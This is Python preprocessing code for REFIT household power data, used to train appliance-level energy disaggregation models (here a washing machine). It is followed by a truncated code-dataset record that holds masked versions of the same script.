'%s_%s.npy' % (house_id, channel_id))) current_head = 0 data_length = len(data) end = data_length - window_width - 1 while current_head < end: temp_main = [] temp_appliance = [] for i in range(current_head, current_head+window_width): temp_main.append(data[i][0]) temp_appliance.append(data[i][1]) r = random.random() current_head += int(window_width*r) appliance_train_validation.append(temp_appliance) main_train_validation.append(temp_main) count += 1 if count % 1000 == 0: print('T & V 1: House %d %f' % (house_id, (current_head / data_length))) data_length -= window_width random_clip = refit_cfg.random_clip[appliance_name] for i in range(random_clip): r = random.random() start = int(r*data_length) temp_main = [] temp_appliance = [] for j in range(start, start + window_width): temp_main.append(data[j][0]) temp_appliance.append(data[j][1]) appliance_train_validation.append(temp_appliance) main_train_validation.append(temp_main) count += 1 if count % 1000 == 0: print('T & V 2: House %d %f' % (house_id, (i / random_clip))) print('Train & Validation: House %d %s complete!' % (house_id, appliance_name)) np.save(os.path.join(data_path, '1024\\appliance_train_validation_%d.npy' % house_id), appliance_train_validation) np.save(os.path.join(data_path, '1024\\main_train_validation_%d.npy' % house_id), main_train_validation) # test count = 0 for house_id, channel_id in refit_cfg.test[appliance_name].items(): appliance_test.clear() main_test.clear() data = np.load(os.path.join(data_path, '%s_%s.npy' % (house_id, channel_id))) current_head = 0 data_length = len(data) end = data_length - window_width - 1 while current_head < end: temp_main = [] temp_appliance = [] for i in range(current_head, current_head+window_width): temp_main.append(data[i][0]) temp_appliance.append(data[i][1]) r = random.random() current_head += int(r*window_width) appliance_test.append(temp_appliance) main_test.append(temp_main) count += 1 if count % 1000 == 0: print('Test 1: House %d %f' % (house_id, (current_head / data_length))) data_length -= window_width for i in range(refit_cfg.random_clip[appliance_name]): r = random.random() start = int(r*data_length) temp_main = [] temp_appliance = [] for j in range(start, start + window_width): temp_main.append(data[j][0]) temp_appliance.append(data[j][1]) appliance_test.append(temp_appliance) main_test.append(temp_main) count += 1 if count % 1000 == 0: print('Test 2: House %d %f' % (house_id, (i / data_length))) print('Test 2: House %d %s complete!' % (house_id, appliance_name)) np.save(os.path.join(data_path, '1024\\appliance_test_%d.npy' % house_id), appliance_test) np.save(os.path.join(data_path, '1024\\main_test_%d.npy' % house_id), main_test) def clip_visual(appliance_name): base_path = 'data\\REFIT\\after_culling\\%s' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_train_.npy')) main_data = np.load(os.path.join(base_path, 'main_train_.npy')) print('Data load complete!') loop = 1000 x = np.linspace(256, 768, 512) length = len(appliance_data) for i in range(loop): r = int(random.random()*length) plt.figure(figsize=(25, 10), dpi=100) plt.subplot(211) plt.xlim(0, 1024) plt.plot(main_data[r]) plt.subplot(212) plt.xlim(0, 1024) plt.plot(x, appliance_data[r]) savefig(os.path.join(base_path, 'clip_view\\%d.jpg' % i)) plt.close() def train_validation_split(appliance_name): data_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance = np.load(os.path.join(data_path, 'appliance_train_validation.npy')) main = np.load(os.path.join(data_path, 'main_train_validation.npy')) appliance_train, appliance_validation, main_train, main_validation = \ train_test_split(appliance, main, test_size=0.2) print(len(appliance_train)) print(len(main_train)) np.save(os.path.join(data_path, 'appliance_train.npy'), appliance_train) np.save(os.path.join(data_path, 'main_train.npy'), main_train) np.save(os.path.join(data_path, 'appliance_validation.npy'), appliance_validation) np.save(os.path.join(data_path, 'main_validation.npy'), main_validation) def data_integration(appliance_name): data_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance = [] main = [] for house_id, channel_id in refit_cfg.train_validation[appliance_name].items(): appliance_data = np.load(os.path.join(data_path, 'appliance_train_validation_%d.npy' % house_id)) main_data = np.load(os.path.join(data_path, 'main_train_validation_%d.npy' % house_id)) for i in appliance_data: appliance.append(i) for i in main_data: main.append(i) print(len(appliance)) print(len(main)) np.save(os.path.join(data_path, 'appliance_train_validation.npy'), appliance) np.save(os.path.join(data_path, 'main_train_validation.npy'), main) appliance_test = [] main_test = [] for house_id, channel_id in refit_cfg.test[appliance_name].items(): appliance_data = np.load(os.path.join(data_path, 'appliance_test_%d.npy' % house_id)) main_data = np.load(os.path.join(data_path, 'main_test_%d.npy' % house_id)) for i in appliance_data: appliance_test.append(i) for i in main_data: main_test.append(i) print(len(appliance_test)) print(len(main_test)) np.save(os.path.join(data_path, 'appliance_test.npy'), appliance_test) np.save(os.path.join(data_path, 'main_test.npy'), main_test) def positive_negative(appliance_name): base_path = 'data\\REFIT\\after_culling\\%s' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy')) count = 0 threshold = [0, 50, 100, 200, 500, 1000, 2000, 5000, 10000] d = {} for i in range(len(threshold)): d[threshold[i]] = 0 print(d) for th in threshold: for i in appliance_data: sum = 0 for j in i: sum += int(j) if sum > th: d[th] += 1 print('Thres %d complete!' % th) for thres, count in d.items(): print('Thres: %d %d/%d %f' % (thres, count, len(appliance_data), count/len(appliance_data))) def clip_view(appliance_name, thres): base_path = 'data\\REFIT\\after_culling\\%s' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy')) count = 0 for i in appliance_data: sum = 0 for j in i: sum += int(j) if sum > thres: plt.figure(figsize=(25, 10), dpi=100) plt.plot(i.astype(int)) savefig(os.path.join(base_path, 'clip_view\\%d.jpg' % count)) plt.close() count += 1 def test_process(appliance_name): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_test_512.npy')) temp = [0.0]*512 new_app = [] for i in range(len(appliance_data)): max = np.max(appliance_data[i]) if max < 0.05: print(max) new_app.append(temp) else: new_app.append(appliance_data[i]) np.save(os.path.join(base_path, 'appliance_test_512.npy'), new_app) def separate_positive_negative(appliance_name, thres, peak): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy')) main_data = np.load(os.path.join(base_path, 'main_train.npy')) count = 0 appliance_positive = [] appliance_negative = [] main_positive = [] main_negative = [] appliance_temp = [0] * 1024 for i in range(len(appliance_data)): sum = 0 max = 0 for j in appliance_data[i]: sum += int(j) for j in range(512): if int(appliance_data[i][j+256]) > max: max = int(appliance_data[i][j+256]) if max < peak: sum = 0 if sum > thres: appliance_positive.append(appliance_data[i]) main_positive.append(main_data[i]) else: appliance_negative.append(appliance_temp) main_negative.append(main_data[i]) if i % 1000 == 0: print('Processing: %f' % (i/len(appliance_data))) np.save(os.path.join(base_path, 'appliance_positive.npy'), appliance_positive) np.save(os.path.join(base_path, 'main_positive.npy'), main_positive) np.save(os.path.join(base_path, 'appliance_negative.npy'), appliance_negative) np.save(os.path.join(base_path, 'main_negative.npy'), main_negative) def generate_balanced_dataset(appliance_name, negative_ratio): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_positive = list(np.load(os.path.join(base_path, 'appliance_positive.npy'))) appliance_negative = np.load(os.path.join(base_path, 'appliance_negative.npy')) main_positive = list(np.load(os.path.join(base_path, 'main_positive.npy'))) main_negative = np.load(os.path.join(base_path, 'main_negative.npy')) print('Data load complete!') positive_length = len(appliance_positive) negative_length = len(appliance_negative) print('Postive length: %d negative length: %d' % (positive_length, negative_length)) for i in range(int(positive_length*negative_ratio)): r = int(random.random()*negative_length) appliance_positive.append(appliance_negative[r]) main_positive.append(main_negative[r]) print('Data generate complete! length: %d' % (len(appliance_positive))) index = np.linspace(0, len(appliance_positive)-1, len(appliance_positive)).astype(int) random.shuffle(index) appliance_new = [] main_new = [] for i in index: appliance_new.append(appliance_positive[i]) main_new.append(main_positive[i]) print('Data shuffle complete!') np.save(os.path.join(base_path, 'appliance_train_balanced.npy'), appliance_new) np.save(os.path.join(base_path, 'main_train_balanced.npy'), main_new) print('Data save complete!') def shrink(appliance_name, scale): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_train_balanced.npy')) main_data = np.load(os.path.join(base_path, 'main_train_balanced.npy')) appliance_new = [] main_new = [] print('Data load complete!') for i in range(len(appliance_data)): appliance_temp = [] main_temp = [] for j in range(len(appliance_data[i])): appliance_temp.append(float(int(appliance_data[i][j])/scale)) for j in range(len(main_data[i])): main_temp.append(float(int(main_data[i][j])/scale)) appliance_new.append(appliance_temp) main_new.append(main_temp) print('Process complete!') np.save(os.path.join(base_path, 'appliance_train_%d.npy' % scale), appliance_new) np.save(os.path.join(base_path, 'main_train_%d.npy' % scale), main_new) def shrink_validation(appliance_name, scale): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_validation.npy')) main_data = np.load(os.path.join(base_path, 'main_validation.npy')) appliance_new = [] main_new = [] print('Data load complete!') for i in range(len(appliance_data)): appliance_temp = [] main_temp = [] for j in range(len(appliance_data[i])): appliance_temp.append(float(int(appliance_data[i][j])/scale)) for j in range(len(main_data[i])): main_temp.append(float(int(main_data[i][j])/scale)) appliance_new.append(appliance_temp) main_new.append(main_temp) print('Process complete!') np.save(os.path.join(base_path, 'appliance_validation_%d.npy' % scale), appliance_new) np.save(os.path.join(base_path, 'main_validation_%d.npy' % scale), main_new) def appliance_1024to512(appliance_name): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_train = np.load(os.path.join(base_path, 'appliance_train_1000.npy')) appliance_validation = np.load(os.path.join(base_path, 'appliance_validation_1000.npy')) appliance_test = np.load(os.path.join(base_path, 'appliance_test_1000.npy')) at_new = [] av_new = [] ae_new = [] for i in range(len(appliance_train)): at_temp = [] for j in range(256, 768): at_temp.append(float(appliance_train[i][j])) at_new.append(at_temp) for i in range(len(appliance_validation)): av_temp = [] for j in range(256, 768): av_temp.append(float(appliance_validation[i][j])) av_new.append(av_temp) for i in range(len(appliance_test)): ae_temp = [] for j in range(256, 768): ae_temp.append(float(appliance_test[i][j])) ae_new.append(ae_temp) np.save(os.path.join(base_path, 'appliance_train_512.npy'), at_new) np.save(os.path.join(base_path, 'appliance_validation_512.npy'), av_new) np.save(os.path.join(base_path, 'appliance_test_512.npy'), ae_new) def shrink_test(appliance_name, scale): base_path = 'data\\REFIT\\after_culling\\%s\\1024' % appliance_name appliance_data = np.load(os.path.join(base_path, 'appliance_test.npy')) main_data = np.load(os.path.join(base_path, 'main_test.npy')) appliance_new = [] main_new = [] print('Data load complete!') for i in range(len(appliance_data)): appliance_temp = [] main_temp = [] for j in range(len(appliance_data[i])): appliance_temp.append(float(int(appliance_data[i][j])/scale)) for j in range(len(main_data[i])): main_temp.append(float(int(main_data[i][j])/scale)) appliance_new.append(appliance_temp) main_new.append(main_temp) print('Process complete!') np.save(os.path.join(base_path, 'appliance_test_1000.npy'), appliance_new) np.save(os.path.join(base_path, 'main_test_1000.npy'), main_new) if __name__ == '__main__': appliance_name = 'WashingMachine' separate(appliance_name) data_integration(appliance_name) train_validation_split(appliance_name) separate_positive_negative(appliance_name, 1500, 20) generate_balanced_dataset(appliance_name, 1) shrink(appliance_name, 1000) shrink_validation(appliance_name, 1000) shrink_test(appliance_name, 1000) appliance_1024to512(appliance_name) # test_process(appliance_name) print('Process complete!!!')
flexible
{ "blob_id": "30405a6f20a44b2252b6894ef6d0e818861702f8", "index": 9857, "step-1": "<mask token>\n\n\ndef align_process(house_id):\n data = np.load('data\\\\REFIT\\\\original_data\\\\%d.npy' % house_id)\n new_data = []\n current_index = 0\n current_time = int(data[0][0])\n end_time = int(data[-1][0]) + 8\n interval_threshold = refit_cfg.separation_threshold\n isend = 0\n data_length = len(data)\n while current_time <= end_time:\n current_interval = int(data[current_index + 1][0]) - int(data[\n current_index][0])\n if current_interval < interval_threshold:\n if current_time > int(data[current_index][0]):\n temp_index = current_index + 1\n while current_time > int(data[temp_index][0]):\n temp_index += 1\n if temp_index > data_length - 1:\n temp_index -= 1\n break\n if abs(current_time - int(data[temp_index - 1][0])) > abs(\n int(data[temp_index][0]) - current_time):\n current_index = temp_index\n if temp_index == data_length - 1:\n print('The end!')\n isend = 1\n else:\n current_index = temp_index - 1\n t = []\n for element in data[current_index]:\n t.append(element)\n t[0] = current_time\n new_data.append(t)\n if isend == 1:\n break\n current_time += 8\n if current_index % 1000 == 0:\n print('House %d processing: %f' % (house_id, current_index /\n data_length))\n else:\n current_index += 1\n current_time = int(data[current_index][0])\n np.save('data\\\\REFIT\\\\after_align\\\\%d.npy' % house_id, new_data)\n\n\n<mask token>\n\n\ndef show_appliance(house_id, appliance_name):\n channel_id = appliance_dict[appliance_name][house_id]\n data = np.load('data\\\\REFIT\\\\after_align\\\\%s\\\\%d_%d.npy' % (\n appliance_name, house_id, channel_id))\n print(len(data))\n mains = []\n app = []\n for i in data:\n mains.append(int(i[0]))\n app.append(int(i[1]))\n plt.figure(figsize=(20, 8))\n plt.plot(mains)\n plt.plot(app)\n plt.show()\n\n\ndef cull(cull_dict):\n for appliance_name, _dict in cull_dict.items():\n path = 'data\\\\REFIT\\\\after_culling\\\\%s' % appliance_name\n if not os.path.exists(path):\n os.mkdir(path)\n for house_id, cull_list in _dict.items():\n channel_id = appliance_dict[appliance_name][house_id]\n data = np.load('data\\\\REFIT\\\\after_align\\\\%s\\\\%d_%d.npy' % (\n appliance_name, house_id, channel_id))\n new_data = []\n _cull_list = [[0, cull_list[0][0]]]\n for i in range(len(cull_list) - 1):\n _cull_list.append([cull_list[i][1], cull_list[i + 1][0]])\n _cull_list.append([cull_list[-1][1], len(data) - 1])\n for i in _cull_list:\n if i[1] - i[0] != 0:\n for j in range(i[0], i[1]):\n new_data.append(data[j])\n np.save('data\\\\REFIT\\\\after_culling\\\\%s\\\\%d_%d.npy' % (\n appliance_name, house_id, channel_id), new_data)\n print('House %d %s complete!' % (house_id, appliance_name))\n\n\n<mask token>\n\n\ndef cull(cull_dict):\n \"\"\"\n 根据画的图,将大段的空缺段进行删除,删除之后,需要进行比对\n :param cull_dict:\n :return:\n \"\"\"\n for appliance_name, _dict in cull_dict.items():\n path = 'data\\\\REFIT\\\\after_culling_2\\\\%s' % appliance_name\n if not os.path.exists(path):\n os.mkdir(path)\n for house_id, cull_list in _dict.items():\n channel_id = appliance_dict[appliance_name][house_id]\n data = np.load('data\\\\REFIT\\\\after_culling_2\\\\%s\\\\%d_%d.npy' %\n (appliance_name, house_id, channel_id))\n new_data = []\n _cull_list = [[0, cull_list[0][0]]]\n for i in range(len(cull_list) - 1):\n _cull_list.append([cull_list[i][1], cull_list[i + 1][0]])\n _cull_list.append([cull_list[-1][1], len(data) - 1])\n for i in _cull_list:\n if i[1] - i[0] != 0:\n for j in range(i[0], i[1]):\n new_data.append(data[j])\n np.save('data\\\\REFIT\\\\after_culling_2\\\\%s\\\\%d_%d.npy' % (\n appliance_name, house_id, channel_id), new_data)\n print('House %d %s complete!' % (house_id, appliance_name))\n\n\ndef separate(appliance_name):\n window_width = refit_cfg.window_width[appliance_name]\n data_path = 'data\\\\REFIT\\\\after_culling\\\\%s' % appliance_name\n count = 0\n appliance_train_validation = []\n appliance_test = []\n main_train_validation = []\n main_test = []\n for house_id, channel_id in refit_cfg.train_validation[appliance_name\n ].items():\n appliance_train_validation.clear()\n main_train_validation.clear()\n data = np.load(os.path.join(data_path, '%s_%s.npy' % (house_id,\n channel_id)))\n current_head = 0\n data_length = len(data)\n end = data_length - window_width - 1\n while current_head < end:\n temp_main = []\n temp_appliance = []\n for i in range(current_head, current_head + window_width):\n temp_main.append(data[i][0])\n temp_appliance.append(data[i][1])\n r = random.random()\n current_head += int(window_width * r)\n appliance_train_validation.append(temp_appliance)\n main_train_validation.append(temp_main)\n count += 1\n if count % 1000 == 0:\n print('T & V 1: House %d %f' % (house_id, current_head /\n data_length))\n data_length -= window_width\n random_clip = refit_cfg.random_clip[appliance_name]\n for i in range(random_clip):\n r = random.random()\n start = int(r * data_length)\n temp_main = []\n temp_appliance = []\n for j in range(start, start + window_width):\n temp_main.append(data[j][0])\n temp_appliance.append(data[j][1])\n appliance_train_validation.append(temp_appliance)\n main_train_validation.append(temp_main)\n count += 1\n if count % 1000 == 0:\n print('T & V 2: House %d %f' % (house_id, i / random_clip))\n print('Train & Validation: House %d %s complete!' % (house_id,\n appliance_name))\n np.save(os.path.join(data_path, \n '1024\\\\appliance_train_validation_%d.npy' % house_id),\n appliance_train_validation)\n np.save(os.path.join(data_path, \n '1024\\\\main_train_validation_%d.npy' % house_id),\n main_train_validation)\n count = 0\n for house_id, channel_id in refit_cfg.test[appliance_name].items():\n appliance_test.clear()\n main_test.clear()\n data = np.load(os.path.join(data_path, '%s_%s.npy' % (house_id,\n channel_id)))\n current_head = 0\n data_length = len(data)\n end = data_length - window_width - 1\n while current_head < end:\n temp_main = []\n temp_appliance = []\n for i in range(current_head, current_head + window_width):\n temp_main.append(data[i][0])\n temp_appliance.append(data[i][1])\n r = random.random()\n current_head += int(r * window_width)\n appliance_test.append(temp_appliance)\n main_test.append(temp_main)\n count += 1\n if count % 1000 == 0:\n print('Test 1: House %d %f' % (house_id, current_head /\n data_length))\n data_length -= window_width\n for i in range(refit_cfg.random_clip[appliance_name]):\n r = random.random()\n start = int(r * data_length)\n temp_main = []\n temp_appliance = []\n for j in range(start, start + window_width):\n temp_main.append(data[j][0])\n temp_appliance.append(data[j][1])\n appliance_test.append(temp_appliance)\n main_test.append(temp_main)\n count += 1\n if count % 1000 == 0:\n print('Test 2: House %d %f' % (house_id, i / data_length))\n print('Test 2: House %d %s complete!' % (house_id, appliance_name))\n np.save(os.path.join(data_path, '1024\\\\appliance_test_%d.npy' %\n house_id), appliance_test)\n np.save(os.path.join(data_path, '1024\\\\main_test_%d.npy' % house_id\n ), main_test)\n\n\n<mask token>\n\n\ndef train_validation_split(appliance_name):\n data_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance = np.load(os.path.join(data_path,\n 'appliance_train_validation.npy'))\n main = np.load(os.path.join(data_path, 'main_train_validation.npy'))\n appliance_train, appliance_validation, main_train, main_validation = (\n train_test_split(appliance, main, test_size=0.2))\n print(len(appliance_train))\n print(len(main_train))\n np.save(os.path.join(data_path, 'appliance_train.npy'), appliance_train)\n np.save(os.path.join(data_path, 'main_train.npy'), main_train)\n np.save(os.path.join(data_path, 'appliance_validation.npy'),\n appliance_validation)\n np.save(os.path.join(data_path, 'main_validation.npy'), main_validation)\n\n\n<mask token>\n\n\ndef positive_negative(appliance_name):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy'))\n count = 0\n threshold = [0, 50, 100, 200, 500, 1000, 2000, 5000, 10000]\n d = {}\n for i in range(len(threshold)):\n d[threshold[i]] = 0\n print(d)\n for th in threshold:\n for i in appliance_data:\n sum = 0\n for j in i:\n sum += int(j)\n if sum > th:\n d[th] += 1\n print('Thres %d complete!' % th)\n for thres, count in d.items():\n print('Thres: %d %d/%d %f' % (thres, count, len(appliance_data),\n count / len(appliance_data)))\n\n\ndef clip_view(appliance_name, thres):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy'))\n count = 0\n for i in appliance_data:\n sum = 0\n for j in i:\n sum += int(j)\n if sum > thres:\n plt.figure(figsize=(25, 10), dpi=100)\n plt.plot(i.astype(int))\n savefig(os.path.join(base_path, 'clip_view\\\\%d.jpg' % count))\n plt.close()\n count += 1\n\n\ndef test_process(appliance_name):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_test_512.npy'))\n temp = [0.0] * 512\n new_app = []\n for i in range(len(appliance_data)):\n max = np.max(appliance_data[i])\n if max < 0.05:\n print(max)\n new_app.append(temp)\n else:\n new_app.append(appliance_data[i])\n np.save(os.path.join(base_path, 'appliance_test_512.npy'), new_app)\n\n\ndef separate_positive_negative(appliance_name, thres, peak):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy'))\n main_data = np.load(os.path.join(base_path, 'main_train.npy'))\n count = 0\n appliance_positive = []\n appliance_negative = []\n main_positive = []\n main_negative = []\n appliance_temp = [0] * 1024\n for i in range(len(appliance_data)):\n sum = 0\n max = 0\n for j in appliance_data[i]:\n sum += int(j)\n for j in range(512):\n if int(appliance_data[i][j + 256]) > max:\n max = int(appliance_data[i][j + 256])\n if max < peak:\n sum = 0\n if sum > thres:\n appliance_positive.append(appliance_data[i])\n main_positive.append(main_data[i])\n else:\n appliance_negative.append(appliance_temp)\n main_negative.append(main_data[i])\n if i % 1000 == 0:\n print('Processing: %f' % (i / len(appliance_data)))\n np.save(os.path.join(base_path, 'appliance_positive.npy'),\n appliance_positive)\n np.save(os.path.join(base_path, 'main_positive.npy'), main_positive)\n np.save(os.path.join(base_path, 'appliance_negative.npy'),\n appliance_negative)\n np.save(os.path.join(base_path, 'main_negative.npy'), main_negative)\n\n\n<mask token>\n\n\ndef shrink(appliance_name, scale):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_data = np.load(os.path.join(base_path,\n 'appliance_train_balanced.npy'))\n main_data = np.load(os.path.join(base_path, 'main_train_balanced.npy'))\n appliance_new = []\n main_new = []\n print('Data load complete!')\n for i in range(len(appliance_data)):\n appliance_temp = []\n main_temp = []\n for j in range(len(appliance_data[i])):\n appliance_temp.append(float(int(appliance_data[i][j]) / scale))\n for j in range(len(main_data[i])):\n main_temp.append(float(int(main_data[i][j]) / scale))\n appliance_new.append(appliance_temp)\n main_new.append(main_temp)\n print('Process complete!')\n np.save(os.path.join(base_path, 'appliance_train_%d.npy' % scale),\n appliance_new)\n np.save(os.path.join(base_path, 'main_train_%d.npy' % scale), main_new)\n\n\ndef shrink_validation(appliance_name, scale):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_data = np.load(os.path.join(base_path,\n 'appliance_validation.npy'))\n main_data = np.load(os.path.join(base_path, 'main_validation.npy'))\n appliance_new = []\n main_new = []\n print('Data load complete!')\n for i in range(len(appliance_data)):\n appliance_temp = []\n main_temp = []\n for j in range(len(appliance_data[i])):\n appliance_temp.append(float(int(appliance_data[i][j]) / scale))\n for j in range(len(main_data[i])):\n main_temp.append(float(int(main_data[i][j]) / scale))\n appliance_new.append(appliance_temp)\n main_new.append(main_temp)\n print('Process complete!')\n np.save(os.path.join(base_path, 'appliance_validation_%d.npy' % scale),\n appliance_new)\n np.save(os.path.join(base_path, 'main_validation_%d.npy' % scale), main_new\n )\n\n\ndef appliance_1024to512(appliance_name):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_train = np.load(os.path.join(base_path,\n 'appliance_train_1000.npy'))\n appliance_validation = np.load(os.path.join(base_path,\n 'appliance_validation_1000.npy'))\n appliance_test = np.load(os.path.join(base_path, 'appliance_test_1000.npy')\n )\n at_new = []\n av_new = []\n ae_new = []\n for i in range(len(appliance_train)):\n at_temp = []\n for j in range(256, 768):\n at_temp.append(float(appliance_train[i][j]))\n at_new.append(at_temp)\n for i in range(len(appliance_validation)):\n av_temp = []\n for j in range(256, 768):\n av_temp.append(float(appliance_validation[i][j]))\n av_new.append(av_temp)\n for i in range(len(appliance_test)):\n ae_temp = []\n for j in range(256, 768):\n ae_temp.append(float(appliance_test[i][j]))\n ae_new.append(ae_temp)\n np.save(os.path.join(base_path, 'appliance_train_512.npy'), at_new)\n np.save(os.path.join(base_path, 'appliance_validation_512.npy'), av_new)\n np.save(os.path.join(base_path, 'appliance_test_512.npy'), ae_new)\n\n\ndef shrink_test(appliance_name, scale):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_test.npy'))\n main_data = np.load(os.path.join(base_path, 'main_test.npy'))\n appliance_new = []\n main_new = []\n print('Data load complete!')\n for i in range(len(appliance_data)):\n appliance_temp = []\n main_temp = []\n for j in range(len(appliance_data[i])):\n appliance_temp.append(float(int(appliance_data[i][j]) / scale))\n for j in range(len(main_data[i])):\n main_temp.append(float(int(main_data[i][j]) / scale))\n appliance_new.append(appliance_temp)\n main_new.append(main_temp)\n print('Process complete!')\n np.save(os.path.join(base_path, 'appliance_test_1000.npy'), appliance_new)\n np.save(os.path.join(base_path, 'main_test_1000.npy'), main_new)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef align_process(house_id):\n data = np.load('data\\\\REFIT\\\\original_data\\\\%d.npy' % house_id)\n new_data = []\n current_index = 0\n current_time = int(data[0][0])\n end_time = int(data[-1][0]) + 8\n interval_threshold = refit_cfg.separation_threshold\n isend = 0\n data_length = len(data)\n while current_time <= end_time:\n current_interval = int(data[current_index + 1][0]) - int(data[\n current_index][0])\n if current_interval < interval_threshold:\n if current_time > int(data[current_index][0]):\n temp_index = current_index + 1\n while current_time > int(data[temp_index][0]):\n temp_index += 1\n if temp_index > data_length - 1:\n temp_index -= 1\n break\n if abs(current_time - int(data[temp_index - 1][0])) > abs(\n int(data[temp_index][0]) - current_time):\n current_index = temp_index\n if temp_index == data_length - 1:\n print('The end!')\n isend = 1\n else:\n current_index = temp_index - 1\n t = []\n for element in data[current_index]:\n t.append(element)\n t[0] = current_time\n new_data.append(t)\n if isend == 1:\n break\n current_time += 8\n if current_index % 1000 == 0:\n print('House %d processing: %f' % (house_id, current_index /\n data_length))\n else:\n current_index += 1\n current_time = int(data[current_index][0])\n np.save('data\\\\REFIT\\\\after_align\\\\%d.npy' % house_id, new_data)\n\n\n<mask token>\n\n\ndef show_appliance(house_id, appliance_name):\n channel_id = appliance_dict[appliance_name][house_id]\n data = np.load('data\\\\REFIT\\\\after_align\\\\%s\\\\%d_%d.npy' % (\n appliance_name, house_id, channel_id))\n print(len(data))\n mains = []\n app = []\n for i in data:\n mains.append(int(i[0]))\n app.append(int(i[1]))\n plt.figure(figsize=(20, 8))\n plt.plot(mains)\n plt.plot(app)\n plt.show()\n\n\ndef cull(cull_dict):\n for appliance_name, _dict in cull_dict.items():\n path = 'data\\\\REFIT\\\\after_culling\\\\%s' % appliance_name\n if not os.path.exists(path):\n os.mkdir(path)\n for house_id, cull_list in _dict.items():\n channel_id = appliance_dict[appliance_name][house_id]\n data = np.load('data\\\\REFIT\\\\after_align\\\\%s\\\\%d_%d.npy' % (\n appliance_name, house_id, channel_id))\n new_data = []\n _cull_list = [[0, cull_list[0][0]]]\n for i in range(len(cull_list) - 1):\n _cull_list.append([cull_list[i][1], cull_list[i + 1][0]])\n _cull_list.append([cull_list[-1][1], len(data) - 1])\n for i in _cull_list:\n if i[1] - i[0] != 0:\n for j in range(i[0], i[1]):\n new_data.append(data[j])\n np.save('data\\\\REFIT\\\\after_culling\\\\%s\\\\%d_%d.npy' % (\n appliance_name, house_id, channel_id), new_data)\n print('House %d %s complete!' % (house_id, appliance_name))\n\n\ndef appliance_separation(dict, appliance_name):\n \"\"\"\n 将各个电器的数据进行分解,放置到appliance_data文件夹下对应电器的文件夹中,以house_id和channel_id进行命名\n :param dict: 电器数据来源\n :param appliance_name: 当前电器的名称,用以创建文件夹\n :return:\n \"\"\"\n path = 'data\\\\REFIT\\\\appliance_data\\\\%s' % appliance_name\n if not os.path.exists(path):\n os.mkdir(path)\n for house_id, channel_id in dict.items():\n data = np.load('data\\\\REFIT\\\\after_align\\\\%d.npy' % house_id)\n appliance_data = []\n for row in data:\n appliance_data.append([row[1], row[channel_id + 1]])\n np.save(os.path.join(path, '%d_%d.npy' % (house_id, channel_id)),\n appliance_data)\n print('Appliance %s House %d complete!' % (appliance_name, house_id))\n\n\n<mask token>\n\n\ndef cull(cull_dict):\n \"\"\"\n 根据画的图,将大段的空缺段进行删除,删除之后,需要进行比对\n :param cull_dict:\n :return:\n \"\"\"\n for appliance_name, _dict in cull_dict.items():\n path = 'data\\\\REFIT\\\\after_culling_2\\\\%s' % appliance_name\n if not os.path.exists(path):\n os.mkdir(path)\n for house_id, cull_list in _dict.items():\n channel_id = appliance_dict[appliance_name][house_id]\n data = np.load('data\\\\REFIT\\\\after_culling_2\\\\%s\\\\%d_%d.npy' %\n (appliance_name, house_id, channel_id))\n new_data = []\n _cull_list = [[0, cull_list[0][0]]]\n for i in range(len(cull_list) - 1):\n _cull_list.append([cull_list[i][1], cull_list[i + 1][0]])\n _cull_list.append([cull_list[-1][1], len(data) - 1])\n for i in _cull_list:\n if i[1] - i[0] != 0:\n for j in range(i[0], i[1]):\n new_data.append(data[j])\n np.save('data\\\\REFIT\\\\after_culling_2\\\\%s\\\\%d_%d.npy' % (\n appliance_name, house_id, channel_id), new_data)\n print('House %d %s complete!' % (house_id, appliance_name))\n\n\ndef separate(appliance_name):\n window_width = refit_cfg.window_width[appliance_name]\n data_path = 'data\\\\REFIT\\\\after_culling\\\\%s' % appliance_name\n count = 0\n appliance_train_validation = []\n appliance_test = []\n main_train_validation = []\n main_test = []\n for house_id, channel_id in refit_cfg.train_validation[appliance_name\n ].items():\n appliance_train_validation.clear()\n main_train_validation.clear()\n data = np.load(os.path.join(data_path, '%s_%s.npy' % (house_id,\n channel_id)))\n current_head = 0\n data_length = len(data)\n end = data_length - window_width - 1\n while current_head < end:\n temp_main = []\n temp_appliance = []\n for i in range(current_head, current_head + window_width):\n temp_main.append(data[i][0])\n temp_appliance.append(data[i][1])\n r = random.random()\n current_head += int(window_width * r)\n appliance_train_validation.append(temp_appliance)\n main_train_validation.append(temp_main)\n count += 1\n if count % 1000 == 0:\n print('T & V 1: House %d %f' % (house_id, current_head /\n data_length))\n data_length -= window_width\n random_clip = refit_cfg.random_clip[appliance_name]\n for i in range(random_clip):\n r = 